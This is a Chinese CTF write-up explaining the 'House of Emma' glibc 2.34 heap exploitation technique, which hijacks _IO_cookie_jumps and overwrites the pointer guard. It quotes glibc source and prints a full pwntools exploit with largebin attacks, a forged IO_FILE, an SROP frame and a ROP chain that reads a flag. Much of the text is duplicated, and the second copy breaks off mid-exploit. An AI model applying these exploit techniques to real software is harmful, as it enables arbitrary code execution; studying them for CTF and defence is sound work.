-
-
[原创]【伽玛】第七届“湖湘杯” House _OF _Emma | 设计思路与解析
-
发表于: 2021-11-24 18:47 16659
-
本题由wjh师傅提供,赛后将该题的解法公开供大家学习交流。
在 2021 年 8 月 1 号发布的 GLIBC2.34 版本中,本应在 CTF 的 PWN 题中常用 Hook — free_hook 、 malloc_hook 被取消,同时有些题目的限制中,我们又无法构造出任意地址申请。
因此在新版中各种各样的限制下,迫使我们要转变思想:从以往的 任意地址申请 → 构成任意读写 →从而 Getshell ,转变为:在某处写一个可控地址直接 Getshell(借助于 IO_FILE)。显而易见的,后者的所需条件一定是少于前者的。
但是在新版本 glibc 下的 IO_FILE 攻击中,通常还是借助这两个 Hook 来辅助我们进行攻击,但并不适用于 GLIBC 2.34 版本,因此我们急需发现一个类似于__free_hook 这样的函数指针调用,从而来削弱 Getshell 的限制条件。
本文就是围绕着我所发现的一条适用于 GLIBC 2.34 及以下所有版本的 IO_File 调用链来展开。同时因为网上还未有人提出该条调用链,所以我将其命名为:House_OF_Emma。
此漏洞的使用前提需要有两大条件:
1.可以任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack...)
2.可以触发 IO 流(FSOP、House OF Kiwi)
在 vtable 的合法范围内,存在一个 _IO_cookie_jumps:
我们知道,在 vtable 的检测中对具体位置的检测还是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使其我们在调用具体偏移是固定的情况下,可以通过偏移来调用在 vtable 表中的任意函数,因此我们考虑将其指定为以下几个函数。
这几个函数内存在任意函数指针调用,且函数指针来源于_IO_cookie_file 结构体,这个结构体是 _IO_FILE_plus 的扩展,如果我们可以控制 IO 的内容,大概率这部分的数据也是可控的,并且其的第一个参数也是来源于这个结构。所以我们可以把其当做一个类似于 __free_hook 的 Hook 来利用。
在上面的分析中,我们暂时忽略了一个可能会存在的问题,也就是在上面代码中函数指针调用前所执行的 PTR_DEMANGLE (指针保护)选项是默认开启的,这意味着我们需要解决指针加密的问题。
根据 GLIBC Wiki 上的解释 Pointer Encryption,我们可以得知这个是 GLIBC 的一项安全功能,用于增加攻击者在 GLIBC 结构中操纵指针(尤其是函数指针)的难度。这时,通过调试可以得知,这个值存在于 TLS 段上,将其 ROR 移位 0x11 后再与指针进行异或。
fs[0x30] 的值位于与 libc 相邻的 ld 空间中,这个位置距离 libc 地址的偏移固定,虽然我们无法泄露出这个位置随机值的内容,但是我们可以利用很多方法对其进行写入:
但无论使用什么方法,我们根本思想:还是让这个本来是随机的、不确定的异或值,转变为已知的地址。而通常在满足能够利用 IO_File 的情况下,这个前置要求都能够被满足。
在实际操作中,可能因为 stderr 的指针存放在 bss 段上,从而导致无法篡改。只能使用 exit 来触发 FSOP,但是又会发现如果通过 exit 来触发 FSOP,会遇到在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址,且此位置在 FSOP 之前,从而导致程序没有进入 IO 流就发生了错误。
这种时候就可以考虑构造两个 IO_FILE,且后者指针处于前者的 _chains 处,前者用 GLIBC2.24 之前的 IO_FILE 攻击 的思想在 __pointer_chk_guard 处写已知内容,后者再用 House_OF_Emma 来进行函数指针调用。
这里以 2021 湖湘杯的 1 解题 House_OF_Emma 为例,这里的核心是使用 LargeBin Attack 来进行写入地址。
Checksec:保护全开
开启了沙箱限制,不允许调用 execve
题目是一个 VM 类的题目,要求输入 opcode。这里 vm 指令的分析不是本题的重点,我们主要来看漏洞点和如何利用。
在 add 函数中限制了堆块 SIZE 要在 0x410 到 0x500 范围内
在 delete 函数中释放后没有清空指针,可以造成 UAF
由于没有办法退出读入 opcode 的主循环,所以可以尝试用 House OF Kiwi 来触发 IO,同时因为此题使用了 puts 进行输出,所以也可以考虑劫持 stdout 指针,这里选择前者来讲解。
在 TLS 上的地址可能需要一些爆破来得到远程偏移,爆破的思路可以参考 通过 LIBC 基址来爆破 TLS
在赛后看到了一篇来自山石网科的文章,讲的是glibc2.34版本下的最新攻击技巧,文章里使用的方法是在读入opcode时使用的malloc函数来申请tcache结构上的数据,从而构成任意地址申请读写。
但这并非 House OF Emma 这题考察的本意,利用 House OF Emma 的攻击手法,可以在无需申请出堆块的情况下来控制程序流程,同时这种方法也只要求单次的IO vtable调用即可,这种调用的要求是非常低的。
相对于之前版本的 IO_FILE 调用来说,需要各式各样的构造才能够满足触发控制程序流程,这个利用所需的条件明显更少,并且威力更大。而这样绕过指针保护的思想其实并不止这一处可以使用,只要有指针保护的位置,我们都可以用这个思想来绕过。
比赛中的唯一解出此题的选手id为:风沐云烟,经选手同意,在此公开下他的exp:
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
static ssize_t
_IO_cookie_read (
FILE
*
fp, void
*
buf, ssize_t size)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_read_function_t
*
read_cb
=
cfile
-
>__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if
(read_cb
=
=
NULL)
return
-
1
;
return
read_cb (cfile
-
>__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (
FILE
*
fp, const void
*
buf, ssize_t size)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_write_function_t
*
write_cb
=
cfile
-
>__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if
(write_cb
=
=
NULL)
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
return
0
;
}
ssize_t n
=
write_cb (cfile
-
>__cookie, buf, size);
if
(n < size)
fp
-
>_flags |
=
_IO_ERR_SEEN;
return
n;
}
static off64_t
_IO_cookie_seek (
FILE
*
fp, off64_t offset,
int
dir
)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_seek_function_t
*
seek_cb
=
cfile
-
>__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return
((seek_cb
=
=
NULL
|| (seek_cb (cfile
-
>__cookie, &offset,
dir
)
=
=
-
1
)
|| offset
=
=
(off64_t)
-
1
)
? _IO_pos_BAD : offset);
}
static
int
_IO_cookie_close (
FILE
*
fp)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_close_function_t
*
close_cb
=
cfile
-
>__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if
(close_cb
=
=
NULL)
return
0
;
return
close_cb (cfile
-
>__cookie);
}
static ssize_t
_IO_cookie_read (
FILE
*
fp, void
*
buf, ssize_t size)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_read_function_t
*
read_cb
=
cfile
-
>__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if
(read_cb
=
=
NULL)
return
-
1
;
return
read_cb (cfile
-
>__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (
FILE
*
fp, const void
*
buf, ssize_t size)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_write_function_t
*
write_cb
=
cfile
-
>__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if
(write_cb
=
=
NULL)
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
return
0
;
}
ssize_t n
=
write_cb (cfile
-
>__cookie, buf, size);
if
(n < size)
fp
-
>_flags |
=
_IO_ERR_SEEN;
return
n;
}
static off64_t
_IO_cookie_seek (
FILE
*
fp, off64_t offset,
int
dir
)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_seek_function_t
*
seek_cb
=
cfile
-
>__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return
((seek_cb
=
=
NULL
|| (seek_cb (cfile
-
>__cookie, &offset,
dir
)
=
=
-
1
)
|| offset
=
=
(off64_t)
-
1
)
? _IO_pos_BAD : offset);
}
static
int
_IO_cookie_close (
FILE
*
fp)
{
struct _IO_cookie_file
*
cfile
=
(struct _IO_cookie_file
*
) fp;
cookie_close_function_t
*
close_cb
=
cfile
-
>__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if
(close_cb
=
=
NULL)
return
0
;
return
close_cb (cfile
-
>__cookie);
}
/
*
Special
file
type
for
fopencookie function.
*
/
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void
*
__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t
*
read;
/
*
Read bytes.
*
/
cookie_write_function_t
*
write;
/
*
Write bytes.
*
/
cookie_seek_function_t
*
seek;
/
*
Seek
/
tell
file
position.
*
/
cookie_close_function_t
*
close;
/
*
Close
file
.
*
/
} cookie_io_functions_t;
/
*
Special
file
type
for
fopencookie function.
*
/
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void
*
__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t
*
read;
/
*
Read bytes.
*
/
cookie_write_function_t
*
write;
/
*
Write bytes.
*
/
cookie_seek_function_t
*
seek;
/
*
Seek
/
tell
file
position.
*
/
cookie_close_function_t
*
close;
/
*
Close
file
.
*
/
} cookie_io_functions_t;
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var)
=
(__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var)
=
(__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)
from
pwn
import
*
context.log_level
=
"debug"
context.arch
=
"amd64"
# sh = process('./pwn')
sh
=
remote(
'127.0.0.1'
,
9999
)
libc
=
ELF(
'./lib/libc.so.6'
)
all_payload
=
""
def
ROL(content, key):
tmp
=
bin
(content)[
2
:].rjust(
64
,
'0'
)
return
int
(tmp[key:]
+
tmp[:key],
2
)
def
add(idx, size):
global
all_payload
payload
=
p8(
0x1
)
payload
+
=
p8(idx)
payload
+
=
p16(size)
all_payload
+
=
payload
def
show(idx):
global
all_payload
payload
=
p8(
0x3
)
payload
+
=
p8(idx)
all_payload
+
=
payload
def
delete(idx):
global
all_payload
payload
=
p8(
0x2
)
payload
+
=
p8(idx)
all_payload
+
=
payload
def
edit(idx, buf):
global
all_payload
payload
=
p8(
0x4
)
payload
+
=
p8(idx)
payload
+
=
p16(
len
(buf))
payload
+
=
str
(buf)
all_payload
+
=
payload
def
run_opcode():
global
all_payload
all_payload
+
=
p8(
5
)
sh.sendafter(
"Pls input the opcode"
, all_payload)
all_payload
=
""
# leak libc_base
add(
0
,
0x410
)
add(
1
,
0x410
)
add(
2
,
0x420
)
add(
3
,
0x410
)
delete(
2
)
add(
4
,
0x430
)
show(
2
)
run_opcode()
libc_base
=
u64(sh.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1f30b0
# main_arena + 1104
log.success(
"libc_base:\t"
+
hex
(libc_base))
libc.address
=
libc_base
guard
=
libc_base
+
0x2035f0
pop_rdi_addr
=
libc_base
+
0x2daa2
pop_rsi_addr
=
libc_base
+
0x37c0a
pop_rax_addr
=
libc_base
+
0x446c0
syscall_addr
=
libc_base
+
0x883b6
gadget_addr
=
libc_base
+
0x146020
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr
=
libc_base
+
0x50bc0
# leak heapbase
edit(
2
,
"a"
*
0x10
)
show(
2
)
run_opcode()
sh.recvuntil(
"a"
*
0x10
)
heap_base
=
u64(sh.recv(
6
).ljust(
8
,
'\x00'
))
-
0x2ae0
log.success(
"heap_base:\t"
+
hex
(heap_base))
# largebin attack stderr
delete(
0
)
edit(
2
, p64(libc_base
+
0x1f30b0
)
*
2
+
p64(heap_base
+
0x2ae0
)
+
p64(libc.sym[
'stderr'
]
-
0x20
))
add(
5
,
0x430
)
edit(
2
, p64(heap_base
+
0x22a0
)
+
p64(libc_base
+
0x1f30b0
)
+
p64(heap_base
+
0x22a0
)
*
2
)
edit(
0
, p64(libc_base
+
0x1f30b0
)
+
p64(heap_base
+
0x2ae0
)
*
3
)
add(
0
,
0x410
)
add(
2
,
0x420
)
run_opcode()
# largebin attack guard
delete(
2
)
add(
6
,
0x430
)
delete(
0
)
edit(
2
, p64(libc_base
+
0x1f30b0
)
*
2
+
p64(heap_base
+
0x2ae0
)
+
p64(guard
-
0x20
))
add(
7
,
0x450
)
edit(
2
, p64(heap_base
+
0x22a0
)
+
p64(libc_base
+
0x1f30b0
)
+
p64(heap_base
+
0x22a0
)
*
2
)
edit(
0
, p64(libc_base
+
0x1f30b0
)
+
p64(heap_base
+
0x2ae0
)
*
3
)
add(
2
,
0x420
)
add(
0
,
0x410
)
# change top chunk size
delete(
7
)
add(
8
,
0x430
)
edit(
7
,
'a'
*
0x438
+
p64(
0x300
))
run_opcode()
next_chain
=
0
srop_addr
=
heap_base
+
0x2ae0
+
0x10
fake_IO_FILE
=
2
*
p64(
0
)
fake_IO_FILE
+
=
p64(
0
)
# _IO_write_base = 0
fake_IO_FILE
+
=
p64(
0xffffffffffffffff
)
# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(
0
)
# _IO_buf_base
fake_IO_FILE
+
=
p64(
0
)
# _IO_buf_end
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x58
,
'\x00'
)
fake_IO_FILE
+
=
p64(next_chain)
# _chain
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x78
,
'\x00'
)
fake_IO_FILE
+
=
p64(heap_base)
# _lock = writable address
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xB0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
# _mode = 0
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xC8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libc.sym[
'_IO_cookie_jumps'
]
+
0x40
)
# vtable
fake_IO_FILE
+
=
p64(srop_addr)
# rdi
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(ROL(gadget_addr ^ (heap_base
+
0x22a0
),
0x11
))
fake_frame_addr
=
srop_addr
frame
=
SigreturnFrame()
frame.rdi
=
fake_frame_addr
+
0xF8
frame.rsi
=
0
frame.rdx
=
0x100
frame.rsp
=
fake_frame_addr
+
0xF8
+
0x10
frame.rip
=
pop_rdi_addr
+
1
# : ret
rop_data
=
[
pop_rax_addr,
# sys_open('flag', 0)
2
,
syscall_addr,
pop_rax_addr,
# sys_read(flag_fd, heap, 0x100)
0
,
pop_rdi_addr,
3
,
pop_rsi_addr,
fake_frame_addr
+
0x200
,
syscall_addr,
pop_rax_addr,
# sys_write(1, heap, 0x100)
1
,
pop_rdi_addr,
1
,
pop_rsi_addr,
fake_frame_addr
+
0x200
,
syscall_addr
]
payload
=
p64(
0
)
+
p64(fake_frame_addr)
+
'\x00'
*
0x10
+
p64(setcontext_addr
+
61
)
payload
+
=
str
(frame).ljust(
0xF8
,
'\x00'
)[
0x28
:]
+
'flag'
.ljust(
0x10
,
'\x00'
)
+
flat(rop_data)
edit(
0
, fake_IO_FILE)
edit(
2
, payload)
add(
8
,
0x450
)
# House OF Kiwi
# gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()
from
pwn
import
*
context.log_level
=
"debug"
context.arch
=
"amd64"
# sh = process('./pwn')
sh
=
remote(
'127.0.0.1'
,
9999
)
libc
=
ELF(
'./lib/libc.so.6'
)
all_payload
=
""
def
ROL(content, key):
tmp
=
bin
(content)[
2
:].rjust(
64
,
'0'
)
return
int
(tmp[key:]
+
tmp[:key],
2
)
def
add(idx, size):
global
all_payload
payload
=
p8(
0x1
)
payload
+
=
p8(idx)
payload
+
=
p16(size)
all_payload
+
=
payload
def
show(idx):
global
all_payload
payload
=
p8(
0x3
)
payload
+
=
p8(idx)
all_payload
+
=
payload
def
delete(idx):
global
all_payload
payload
=
p8(
0x2
)
payload
+
=
p8(idx)
all_payload
+
=
payload
def
edit(idx, buf):
global
all_payload
payload
=
p8(
0x4
)
payload
+
=
p8(idx)
payload
+
=
p16(
len
(buf))
payload
+
=
str
(buf)
all_payload
+
=
payload
def
run_opcode():
global
all_payload
all_payload
+
=
p8(
5
)
sh.sendafter(
"Pls input the opcode"
, all_payload)
all_payload
=
""
# leak libc_base
add(
0
,
0x410
)
add(
1
,
0x410
)
add(
2
,
0x420
)
add(
3
,
0x410
)
delete(
2
)
add(
4
,
0x430
)
show(
2
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)